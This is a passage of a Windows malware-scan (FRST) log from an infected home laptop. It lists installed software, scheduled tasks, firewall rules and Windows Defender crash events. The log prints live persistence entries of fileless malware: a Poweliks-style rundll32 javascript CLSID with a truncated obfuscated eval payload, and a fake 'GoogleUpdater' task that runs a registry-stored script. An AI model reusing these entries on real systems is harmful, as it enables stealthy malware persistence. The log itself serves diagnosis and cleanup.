HP Games (HKLM-x32\...\WildTangent hp Master Uninstall) (Version: 1.0.3.0 - WildTangent)

HP MyRoom (HKLM-x32\...\{9C35EDE5-4B0F-45E7-A438-314BA889948E}) (Version: 9.0.0.0 - Hewlett-Packard Company)

HP Quick Launch (HKLM-x32\...\{4ED7050C-9332-4FB2-AB07-E94F25A53D39}) (Version: 3.0.3 - Hewlett-Packard Company)

HP Registration Service (HKLM\...\{E4D6CCF2-0AAF-4B9C-9DE5-893EDC9B4BAA}) (Version: 1.0.5976.4186 - Hewlett-Packard)

HP Software Framework (HKLM-x32\...\{675D093B-815D-47FD-AB2C-192EC751E8E2}) (Version: 4.6.10.1 - Hewlett-Packard Company)

HP Support Assistant (HKLM-x32\...\{E35A3B13-78CD-4967-8AC8-AA9FDA693EDE}) (Version: 7.4.45.4 - Hewlett-Packard Company)

HP Utility Center (HKLM-x32\...\{0C57987A-A03A-4B95-A309-D23F78F406CA}) (Version: 1.0.7 - Hewlett-Packard)

HP Wireless Button Driver (HKLM-x32\...\{941DE69D-6CEE-4171-8F1F-3D7E352AA498}) (Version: 1.0.6.1 - Hewlett-Packard Company)

iscsicli (HKLM\...\{f48a0c57-7c48-461c-9957-ab255ddc986e}.sdb) (Version: - )

Jewel Match 3 (x32 Version: 2.2.0.98 - WildTangent) Hidden

John Deere Drive Green (x32 Version: 2.2.0.95 - WildTangent) Hidden

Luxor Evolved (x32 Version: 2.2.0.98 - WildTangent) Hidden

Mahjongg Dimensions Deluxe: Tiles in Time (x32 Version: 2.2.0.98 - WildTangent) Hidden

Malwarebytes Anti-Malware version 2.1.8.1057 (HKLM-x32\...\Malwarebytes Anti-Malware_is1) (Version: 2.1.8.1057 - Malwarebytes Corporation)

Microsoft Office (HKLM-x32\...\{95140000-0070-0000-0000-0000000FF1CE}) (Version: 14.0.6120.5004 - Microsoft Corporation)

Microsoft SQL Server 2005 Compact Edition [ENU] (HKLM-x32\...\{F0B430D1-B6AA-473D-9B06-AA3DD01FD0B8}) (Version: 3.1.0000 - Microsoft Corporation)

Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)

Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 (HKLM\...\{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}) (Version: 9.0.30729.4148 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)

Microsoft Visual C++ 2010 x64 Redistributable - 10.0.30319 (HKLM\...\{DA5E371C-6333-3D8A-93A4-6FD5B20BCC6E}) (Version: 10.0.30319 - Microsoft Corporation)

Microsoft Visual C++ 2010 x86 Redistributable - 10.0.30319 (HKLM-x32\...\{196BB40D-1578-3D01-B289-BEFC77A11A1E}) (Version: 10.0.30319 - Microsoft Corporation)

Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.50727 (HKLM-x32\...\{15134cb0-b767-4960-a911-f2d16ae54797}) (Version: 11.0.50727.1 - Microsoft Corporation)

Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.50727 (HKLM-x32\...\{22154f09-719a-4619-bb71-5b3356999fbf}) (Version: 11.0.50727.1 - Microsoft Corporation)

Mortimer Beckett and the Crimson Thief Premium Edition (x32 Version: 2.2.0.98 - WildTangent) Hidden

Mystery P.I. - Curious Case of Counterfeit Cove (x32 Version: 2.2.0.98 - WildTangent) Hidden

Peggle Nights (x32 Version: 2.2.0.98 - WildTangent) Hidden

Penguins! (x32 Version: 2.2.0.98 - WildTangent) Hidden

Polar Bowler (x32 Version: 2.2.0.97 - WildTangent) Hidden

Polar Golfer (x32 Version: 2.2.0.98 - WildTangent) Hidden

Qualcomm Atheros Driver Installation Program (HKLM-x32\...\{C3A32068-8AB1-4327-BB16-BED9C6219DC7}) (Version: 10.0 - Qualcomm Atheros)

Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 8.2.612.2012 - Realtek)

Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.6662 - Realtek Semiconductor Corp.)

Realtek PCIE Card Reader (HKLM-x32\...\{C1594429-8296-4652-BF54-9DBE4932A44C}) (Version: 6.1.8400.29025 - Realtek Semiconductor Corp.)

Roads of Rome 3 (x32 Version: 2.2.0.98 - WildTangent) Hidden

swMSM (x32 Version: 12.0.0.1 - Adobe Systems, Inc) Hidden

Synaptics Pointing Device Driver (HKLM\...\SynTPDeinstKey) (Version: 16.6.1.3 - Synaptics Incorporated)

Tales of Lagoona (x32 Version: 2.2.0.110 - WildTangent) Hidden

Update Installer for WildTangent Games App (x32 Version: - WildTangent) Hidden

Vacation Quest™ - Australia (x32 Version: 2.2.0.98 - WildTangent) Hidden

WildTangent Games (HKLM-x32\...\WildTangent wildgames Master Uninstall) (Version: 1.0.3.0 - WildTangent)

WildTangent Games App (x32 Version: 4.0.9.6 - WildTangent) Hidden

Windows Live Essentials (HKLM-x32\...\WinLiveSuite) (Version: 15.4.3555.0308 - Microsoft Corporation)

Zuma's Revenge (x32 Version: 2.2.0.98 - WildTangent) Hidden

==================== Custom CLSID (Whitelisted): ==========================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

CustomCLSID: HKU\S-1-5-21-2321640021-2341620851-140482586-1002_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32 -> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktds (the data entry has 247 more characters). <==== Poweliks?

==================== Restore Points =========================

ATTENTION: System Restore is disabled

==================== Hosts content: ===============================

(If needed Hosts: directive could be included in the fixlist to reset Hosts.)

2013-08-22 09:25 - 2013-08-22 09:25 - 00000824 ____A C:\WINDOWS\system32\Drivers\etc\hosts

==================== Scheduled Tasks (Whitelisted) =============

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

Task: {21C0BD54-D728-412C-9687-5BD843CE459F} - System32\Tasks\Hewlett-Packard\HP Support Assistant\Update Check => C:\ProgramData\Hewlett-Packard\HP Support Framework\Resources\Updater7\HPSFUpdater.exe [2014-05-12] (Hewlett-Packard Company)

Task: {333FA58A-DFAA-4385-AA61-B33438154251} - System32\Tasks\Microsoft\Windows\RemovalTools\MRT_HB => C:\WINDOWS\system32\MRT.exe [2015-07-03] (Microsoft Corporation)

Task: {42606C78-3E7A-474E-9FB5-D30D039784CB} - System32\Tasks\GoogleUpdater => Rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write((new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\internet explorer\\zergling_rush"))

Task: {4C2BD9C4-DC7D-49BA-9C3C-04F32D4276BD} - System32\Tasks\MirageAgent => C:\Program Files (x86)\CyberLink\YouCam\YCMMirage.exe [2012-07-27] (CyberLink)

Task: {79265C83-DBF1-4920-878D-0F9B507752FF} - System32\Tasks\Synaptics TouchPad Enhancements => C:\Program Files\Synaptics\SynTP\SynTPEnh.exe [2013-05-16] (Synaptics Incorporated)

Task: {9D9C2496-8F90-45D0-95F6-D62F07B68205} - System32\Tasks\Hewlett-Packard\HP Support Assistant\PC Health Analysis => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\HPSF.exe [2013-11-04] (Hewlett-Packard Company)

Task: {A82515B8-3006-4D3A-88A8-FE04D02C7192} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-07-27] (Google Inc.)

Task: {D40B0C6F-3A4C-4FBD-825B-B0A520FC47FB} - System32\Tasks\Hewlett-Packard\HP Support Assistant\HP Support Assistant Quick Start => C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\HPSF.exe [2013-11-04] (Hewlett-Packard Company)

Task: {EBE40865-385F-454E-8EE7-98C98B1302B3} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-07-27] (Google Inc.)

Task: {F5715D4F-B262-4590-8487-ACEB028F19D5} - System32\Tasks\autochk => C:\Users\Richie\AppData\Roaming\Microsoft\Windows\IEUpdate\autochk.exe <==== ATTENTION

Task: {F788831C-2C82-4174-8FBD-CE944B364117} - System32\Tasks\CLMLSvc_P2G8 => C:\Program Files (x86)\CyberLink\Power2Go8\CLMLSvc_P2G8.exe [2012-06-07] (CyberLink)

(If an entry is included in the fixlist, the task (.job) file will be moved. The file which is running by the task will not be moved.)

Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe

Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe

Task: C:\WINDOWS\Tasks\HPCeeScheduleForRichie.job => C:\Program Files (x86)\Hewlett-Packard\HP Ceement\HPCEE.exe

Task: C:\WINDOWS\Tasks\Synaptics TouchPad Enhancements.job => C:\Program Files\Synaptics\SynTP\SynTPEnh.exe

==================== Loaded Modules (Whitelisted) ==============

2012-08-06 15:09 - 2012-08-06 15:09 - 00073728 _____ () C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Container.Wlan.dll

2012-08-06 15:08 - 2012-08-06 15:08 - 00103424 _____ () C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Proxy.Native.dll

2013-04-23 03:39 - 2012-06-07 23:34 - 00627216 _____ () C:\Program Files (x86)\CyberLink\Power2Go8\CLMediaLibrary.dll

2012-06-08 14:34 - 2012-06-08 14:34 - 00016400 _____ () C:\Program Files (x86)\CyberLink\Power2Go8\CLMLSvcPS.dll

2015-07-27 20:51 - 2015-07-23 18:39 - 01405768 _____ () C:\Program Files (x86)\Google\Chrome\Application\44.0.2403.107\libglesv2.dll

2015-07-27 20:51 - 2015-07-23 18:39 - 00081224 _____ () C:\Program Files (x86)\Google\Chrome\Application\44.0.2403.107\libegl.dll

2015-07-27 20:51 - 2015-07-23 18:39 - 16308040 _____ () C:\Program Files (x86)\Google\Chrome\Application\44.0.2403.107\PepperFlash\pepflashplayer.dll

==================== Alternate Data Streams (Whitelisted) =========

(If an entry is included in the fixlist, only the ADS will be removed.)

AlternateDataStreams: C:\Users\Richie\OneDrive:ms-properties

==================== Safe Mode (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The "AlternateShell" will be restored.)

==================== EXE Association (Whitelisted) ===============

(If an entry is included in the fixlist, the registry item will be restored to default or removed.)

==================== Internet Explorer trusted/restricted ===============

(If an entry is included in the fixlist, it will be removed from the registry.)

==================== Other Areas ============================

(Currently there is no automatic fix for this section.)

HKU\S-1-5-21-2321640021-2341620851-140482586-1002\Control Panel\Desktop\\Wallpaper -> C:\Users\Richie\Pictures\first wallapaper.jpg

DNS Servers: 192.168.254.254

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)

Windows Firewall is enabled.

==================== MSCONFIG/TASK MANAGER disabled items ==

(Currently there is no automatic fix for this section.)

HKLM\...\StartupApproved\Run32: => "{b090579d-244c-e682-7cd6-e6daa5c7aff0}"

HKU\S-1-5-21-2321640021-2341620851-140482586-1002\...\StartupApproved\Run: => "{beedd195-7534-c93e-bcaf-0a2671d4725d}"

HKU\S-1-5-21-2321640021-2341620851-140482586-1002\...\StartupApproved\Run: => "Svc2dll"

==================== FirewallRules (Whitelisted) ===============

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

FirewallRules: [vm-monitoring-nb-session] => (Allow) LPort=139

FirewallRules: [{0367362F-B34E-4E4D-BFDA-641E8F62D018}] => (Allow) C:\Windows\system32\calc.exe

FirewallRules: [{AFB2689E-3ACF-464D-AB93-0860F07FE12D}] => (Allow) C:\Windows\system32\calc.exe

FirewallRules: [{F1733FB4-9B3E-400A-BB00-F6CC0B4C6073}] => (Allow) C:\Windows\system32\calc.exe

FirewallRules: [{484FB357-14FA-47F8-B46B-FD7927B427C4}] => (Allow) C:\Windows\system32\calc.exe

FirewallRules: [UDP Query User{EF808760-8554-4060-B4E7-D5950FC3902E}C:\users\richie\appdata\roaming\microsoft\windows\ieupdate\autochk.exe] => (Block) C:\users\richie\appdata\roaming\microsoft\windows\ieupdate\autochk.exe

FirewallRules: [TCP Query User{AB01AA61-E7EA-428A-A867-B57497C9F494}C:\users\richie\appdata\roaming\microsoft\windows\ieupdate\autochk.exe] => (Block) C:\users\richie\appdata\roaming\microsoft\windows\ieupdate\autochk.exe

FirewallRules: [UDP Query User{A9318B5F-F5DB-426E-AB8D-BBFCA3A38D4B}C:\users\richie\appdata\roaming\microsoft\windows\ieupdate\autochk.exe] => (Allow) C:\users\richie\appdata\roaming\microsoft\windows\ieupdate\autochk.exe

FirewallRules: [TCP Query User{0242F7F3-6EEB-418D-9D50-6F03F90397A9}C:\users\richie\appdata\roaming\microsoft\windows\ieupdate\autochk.exe] => (Allow) C:\users\richie\appdata\roaming\microsoft\windows\ieupdate\autochk.exe

FirewallRules: [UDP Query User{F7BB5D3C-46CF-4A8F-A8FB-D095D7908EB4}C:\programdata\windows genuine advantage\{417cb0b8-dd5d-4eca-aac2-29f72ed82c05}\msiexec.exe] => (Block) C:\programdata\windows genuine advantage\{417cb0b8-dd5d-4eca-aac2-29f72ed82c05}\msiexec.exe

FirewallRules: [TCP Query User{FF68882B-DEC8-4FD2-AB9A-A31A33B28E78}C:\programdata\windows genuine advantage\{417cb0b8-dd5d-4eca-aac2-29f72ed82c05}\msiexec.exe] => (Block) C:\programdata\windows genuine advantage\{417cb0b8-dd5d-4eca-aac2-29f72ed82c05}\msiexec.exe

FirewallRules: [UDP Query User{5672CFF1-5077-4832-A66D-5DC72472DEAA}C:\programdata\windows genuine advantage\{f2eac7ec-3a48-43e2-904f-a00d1e2b26a1}\msiexec.exe] => (Block) C:\programdata\windows genuine advantage\{f2eac7ec-3a48-43e2-904f-a00d1e2b26a1}\msiexec.exe

FirewallRules: [TCP Query User{F350B76A-5709-4031-A0B2-A6792F59508F}C:\programdata\windows genuine advantage\{f2eac7ec-3a48-43e2-904f-a00d1e2b26a1}\msiexec.exe] => (Block) C:\programdata\windows genuine advantage\{f2eac7ec-3a48-43e2-904f-a00d1e2b26a1}\msiexec.exe

FirewallRules: [UDP Query User{97979C99-34E0-4EC1-AF1A-8BAC2CE4CF89}C:\programdata\windows genuine advantage\{9f2ed5e0-8e8d-4d02-9679-9380819a8e32}\msiexec.exe] => (Block) C:\programdata\windows genuine advantage\{9f2ed5e0-8e8d-4d02-9679-9380819a8e32}\msiexec.exe

FirewallRules: [TCP Query User{38C11876-2476-4982-9182-79E6C4F63D13}C:\programdata\windows genuine advantage\{9f2ed5e0-8e8d-4d02-9679-9380819a8e32}\msiexec.exe] => (Block) C:\programdata\windows genuine advantage\{9f2ed5e0-8e8d-4d02-9679-9380819a8e32}\msiexec.exe

FirewallRules: [UDP Query User{0B3EE6F2-A56E-4E1A-88B5-D0BC77494E14}C:\users\richie\appdata\local\svcxdcl32.exe] => (Block) C:\users\richie\appdata\local\svcxdcl32.exe

FirewallRules: [TCP Query User{8C7D3494-C17B-4DC4-B100-AFC59270E026}C:\users\richie\appdata\local\svcxdcl32.exe] => (Block) C:\users\richie\appdata\local\svcxdcl32.exe

FirewallRules: [UDP Query User{60D6A347-AD97-4573-9543-4D9001A15122}C:\windows\syswow64\rundll32.exe] => (Block) C:\windows\syswow64\rundll32.exe

FirewallRules: [TCP Query User{15D61185-C31B-406A-807B-382C68B1E17B}C:\windows\syswow64\rundll32.exe] => (Block) C:\windows\syswow64\rundll32.exe

FirewallRules: [UDP Query User{BC7DF472-3B0B-451C-8A71-CBF119219BFB}C:\programdata\windows genuine advantage\{c6fad9c2-4cc9-424d-970e-64ea294868b4}\msiexec.exe] => (Block) C:\programdata\windows genuine advantage\{c6fad9c2-4cc9-424d-970e-64ea294868b4}\msiexec.exe

FirewallRules: [TCP Query User{4D5AA3AC-4BF6-4CDD-B29F-76188BAD4E31}C:\programdata\windows genuine advantage\{c6fad9c2-4cc9-424d-970e-64ea294868b4}\msiexec.exe] => (Block) C:\programdata\windows genuine advantage\{c6fad9c2-4cc9-424d-970e-64ea294868b4}\msiexec.exe

FirewallRules: [UDP Query User{48B40DE2-B00D-4312-B123-626009D258F8}C:\users\richie\appdata\local\svcxdcl32.exe] => (Block) C:\users\richie\appdata\local\svcxdcl32.exe

FirewallRules: [TCP Query User{9F15730A-F959-466B-94B9-02D3A01687C3}C:\users\richie\appdata\local\svcxdcl32.exe] => (Block) C:\users\richie\appdata\local\svcxdcl32.exe

FirewallRules: [{65ED69FA-B62D-4206-855D-64915622B516}] => (Allow) C:\Program Files (x86)\CyberLink\PowerDVD10\PowerDVD10.EXE

FirewallRules: [{58AB6517-29D5-488A-9694-8830A06A20E5}] => (Allow) C:\Program Files (x86)\Bonjour\mDNSResponder.exe

FirewallRules: [{112A4FFD-ACB4-4865-BBAB-EAF9D1349E34}] => (Allow) C:\Program Files (x86)\Bonjour\mDNSResponder.exe

FirewallRules: [{5F1791B8-A2D1-4AF6-ABC7-274A66B1FF3F}] => (Allow) C:\Program Files\Bonjour\mDNSResponder.exe

FirewallRules: [{C2156354-BF49-409D-8C2B-6F9A9E0A341A}] => (Allow) C:\Program Files\Bonjour\mDNSResponder.exe

FirewallRules: [{D58582AF-22E5-4C02-B344-27C8199D947D}] => (Allow) LPort=1900

FirewallRules: [{5BD7BD99-EDCD-4755-AAEF-AB70F3F31B7C}] => (Allow) LPort=2869

FirewallRules: [{0758B42B-2DD6-4329-8DF8-FAECA7B668B1}] => (Allow) C:\Program Files (x86)\Windows Live\Contacts\wlcomm.exe

FirewallRules: [{7C6903FB-5408-496E-81FE-642B92E1AFE6}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

==================== Faulty Device Manager Devices =============

==================== Event log errors: =========================

Application errors:

==================

Error: (07/28/2015 04:35:24 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RICHIE)

Description: Activation of app Microsoft.BingWeather_8wekyb3d8bbwe!App failed with error: -2144927148 See the Microsoft-Windows-TWinUI/Operational log for additional information.

Error: (07/28/2015 04:24:20 PM) (Source: Application Hang) (EventID: 1002) (User: )

Description: The program LiveComm.exe version 17.5.9600.20911 stopped interacting with Windows and was closed. To see if more information about the problem is available, check the problem history in the Action Center control panel.

Process ID: 41c

Start Time: 01d0c9724f6ca9a8

Termination Time: 4294967295

Application Path: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe

Report Id: 9da4f213-3566-11e5-8188-2c59e5a5a8a3

Faulting package full name: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe

Faulting package-relative application ID: ppleae38af2e007f4358a809ac99a64a67c1

Error: (07/28/2015 04:14:18 PM) (Source: Application Error) (EventID: 1000) (User: )

Description: Faulting application name: MsMpEng.exe, version: 4.7.205.0, time stamp: 0x54cb5aeb

Faulting module name: mpengine.dll, version: 1.1.9700.0, time stamp: 0x51d28fcb

Exception code: 0xc0000005

Fault offset: 0x00000000005615b7

Faulting process id: 0x11bc

Faulting application start time: 0xMsMpEng.exe0

Faulting application path: MsMpEng.exe1

Faulting module path: MsMpEng.exe2

Report Id: MsMpEng.exe3

Faulting package full name: MsMpEng.exe4

Faulting package-relative application ID: MsMpEng.exe5

Error: (07/28/2015 04:12:10 PM) (Source: Application Error) (EventID: 1000) (User: )

Description: Faulting application name: MsMpEng.exe, version: 4.7.205.0, time stamp: 0x54cb5aeb

Faulting module name: mpengine.dll, version: 1.1.9700.0, time stamp: 0x51d28fcb

Exception code: 0xc0000005

Fault offset: 0x00000000005615b7

Faulting process id: 0xaa8

Faulting application start time: 0xMsMpEng.exe0

Faulting application path: MsMpEng.exe1

Faulting module path: MsMpEng.exe2

Report Id: MsMpEng.exe3

Faulting package full name: MsMpEng.exe4

Faulting package-relative application ID: MsMpEng.exe5

Error: (07/28/2015 04:11:58 PM) (Source: Application Hang) (EventID: 1002) (User: )

Process ID: b7c

Start Time: 01d0c970ef145790

Termination Time: 4294967295

Application Path: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe

Report Id: e358a469-3564-11e5-8188-2c59e5a5a8a3

Faulting package full name: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe

Faulting package-relative application ID: ppleae38af2e007f4358a809ac99a64a67c1

Error: (07/28/2015 04:09:05 PM) (Source: Application Error) (EventID: 1000) (User: )

Description: Faulting application name: MsMpEng.exe, version: 4.7.205.0, time stamp: 0x54cb5aeb

Faulting module name: mpengine.dll, version: 1.1.9700.0, time stamp: 0x51d28fcb

Exception code: 0xc0000005

Fault offset: 0x00000000005615b7

Faulting process id: 0x544

Faulting application start time: 0xMsMpEng.exe0

Faulting application path: MsMpEng.exe1

Faulting module path: MsMpEng.exe2

Report Id: MsMpEng.exe3

Faulting package full name: MsMpEng.exe4

Faulting package-relative application ID: MsMpEng.exe5

Error: (07/28/2015 03:53:28 PM) (Source: Application Hang) (EventID: 1002) (User: )

Process ID: b70

Start Time: 01d0c96e0fcb8811

Termination Time: 4294967295

Application Path: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe

Report Id: 4f54cd74-3562-11e5-8187-2c59e5a5a8a3

Faulting package full name: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe

Faulting package-relative application ID: ppleae38af2e007f4358a809ac99a64a67c1

Error: (07/28/2015 03:27:51 PM) (Source: Application Hang) (EventID: 1002) (User: )

Process ID: c28

Start Time: 01d0c96a6c9094da

Termination Time: 4294967295

Application Path: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe

Report Id: b9e7cc70-355e-11e5-8187-2c59e5a5a8a3

Faulting package full name: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe

Faulting package-relative application ID: ppleae38af2e007f4358a809ac99a64a67c1

Error: (07/28/2015 03:20:24 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RICHIE)

Description: Activation of app Microsoft.BingTravel_8wekyb3d8bbwe!AppexTravel failed with error: -2144927148 See the Microsoft-Windows-TWinUI/Operational log for additional information.

Error: (07/28/2015 02:58:12 PM) (Source: Application Hang) (EventID: 1002) (User: )

Process ID: a2c

Start Time: 01d0c96649b3afff

Termination Time: 4294967295

Application Path: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe

Report Id: 96c3afc4-355a-11e5-8187-2c59e5a5a8a3

Faulting package full name: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe

Faulting package-relative application ID: ppleae38af2e007f4358a809ac99a64a67c1

System errors:

=============

Error: (07/28/2015 04:14:18 PM) (Source: Service Control Manager) (EventID: 7034) (User: )

Description: The Windows Defender Service service terminated unexpectedly. It has done this 3 time(s).

Error: (07/28/2015 04:12:10 PM) (Source: Service Control Manager) (EventID: 7031) (User: )

Description: The Windows Defender Service service terminated unexpectedly. It has done this 2 time(s). The following corrective action will be taken in 60000 milliseconds: Restart the service.

Error: (07/28/2015 04:09:08 PM) (Source: Service Control Manager) (EventID: 7031) (User: )

Description: The Windows Defender Service service terminated unexpectedly. It has done this 1 time(s). The following corrective action will be taken in 60000 milliseconds: Restart the service.

Error: (07/28/2015 04:03:24 PM) (Source: DCOM) (EventID: 10010) (User: RICHIE)

Description: {4545DEA0-2DFC-4906-A728-6D986BA399A9}

Error: (07/28/2015 04:03:24 PM) (Source: DCOM) (EventID: 10010) (User: RICHIE)

Description: {4545DEA0-2DFC-4906-A728-6D986BA399A9}

Error: (07/28/2015 04:03:24 PM) (Source: DCOM) (EventID: 10010) (User: RICHIE)

Description: {4545DEA0-2DFC-4906-A728-6D986BA399A9}

Error: (07/28/2015 04:03:24 PM) (Source: DCOM) (EventID: 10010) (User: RICHIE)

Description: {4545DEA0-2DFC-4906-A728-6D986BA399A9}

Error: (07/28/2015 04:03:24 PM) (Source: DCOM) (EventID: 10010) (User: RICHIE)

Description: {4545DEA0-2DFC-4906-A728-6D986BA399A9}

Error: (07/28/2015 04:03:24 PM) (Source: DCOM) (EventID: 10010) (User: RICHIE)

Description: {4545DEA0-2DFC-4906-A728-6D986BA399A9}

Error: (07/28/2015 04:03:23 PM) (Source: DCOM) (EventID: 10010) (User: RICHIE)

Description: {4545DEA0-2DFC-4906-A728-6D986BA399A9}

Microsoft Office:

=========================

Error: (07/28/2015 04:35:24 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RICHIE)

Description: Microsoft.BingWeather_8wekyb3d8bbwe!App-2144927148

Error: (07/28/2015 04:24:20 PM) (Source: Application Hang) (EventID: 1002) (User: )

Description: LiveComm.exe17.5.9600.2091141c01d0c9724f6ca9a84294967295C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe9da4f213-3566-11e5-8188-2c59e5a5a8a3microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbweppleae38af2e007f4358a809ac99a64a67c1

Error: (07/28/2015 04:14:18 PM) (Source: Application Error) (EventID: 1000) (User: )

Description: MsMpEng.exe4.7.205.054cb5aebmpengine.dll1.1.9700.051d28fcbc000000500000000005615b711bc01d0c971d3343371C:\Program Files\Windows Defender\MsMpEng.exeC:\ProgramData\Microsoft\Windows Defender\Definition Updates\Default\mpengine.dll397e2d38-3565-11e5-8188-2c59e5a5a8a3

Error: (07/28/2015 04:12:10 PM) (Source: Application Error) (EventID: 1000) (User: )

Description: MsMpEng.exe4.7.205.054cb5aebmpengine.dll1.1.9700.051d28fcbc000000500000000005615b7aa801d0c971668a7970C:\Program Files\Windows Defender\MsMpEng.exeC:\ProgramData\Microsoft\Windows Defender\Definition Updates\Default\mpengine.dllecdf70cc-3564-11e5-8188-2c59e5a5a8a3

Error: (07/28/2015 04:11:58 PM) (Source: Application Hang) (EventID: 1002) (User: )

Description: LiveComm.exe17.5.9600.20911b7c01d0c970ef1457904294967295C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exee358a469-3564-11e5-8188-2c59e5a5a8a3microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbweppleae38af2e007f4358a809ac99a64a67c1

Error: (07/28/2015 04:09:05 PM) (Source: Application Error) (EventID: 1000) (User: )

Description: MsMpEng.exe4.7.205.054cb5aebmpengine.dll1.1.9700.051d28fcbc000000500000000005615b754401d0c970ce6678bbC:\Program Files\Windows Defender\MsMpEng.exeC:\ProgramData\Microsoft\Windows Defender\Definition Updates\Default\mpengine.dll7f020f21-3564-11e5-8188-2c59e5a5a8a3

Error: (07/28/2015 03:53:28 PM) (Source: Application Hang) (EventID: 1002) (User: )

Description: LiveComm.exe17.5.9600.20911b7001d0c96e0fcb88114294967295C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe4f54cd74-3562-11e5-8187-2c59e5a5a8a3microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbweppleae38af2e007f4358a809ac99a64a67c1

Error: (07/28/2015 03:27:51 PM) (Source: Application Hang) (EventID: 1002) (User: )

Description: LiveComm.exe17.5.9600.20911c2801d0c96a6c9094da4294967295C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exeb9e7cc70-355e-11e5-8187-2c59e5a5a8a3microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbweppleae38af2e007f4358a809ac99a64a67c1

Error: (07/28/2015 03:20:24 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RICHIE)

Description: Microsoft.BingTravel_8wekyb3d8bbwe!AppexTravel-2144927148

Error: (07/28/2015 02:58:12 PM) (Source: Application Hang) (EventID: 1002) (User: )

Description: LiveComm.exe17.5.9600.20911a2c01d0c96649b3afff4294967295C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe96c3afc4-355a-11e5-8187-2c59e5a5a8a3microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbweppleae38af2e007f4358a809ac99a64a67c1

CodeIntegrity Error:

===================================

Date: 2015-07-28 16:18:41.402

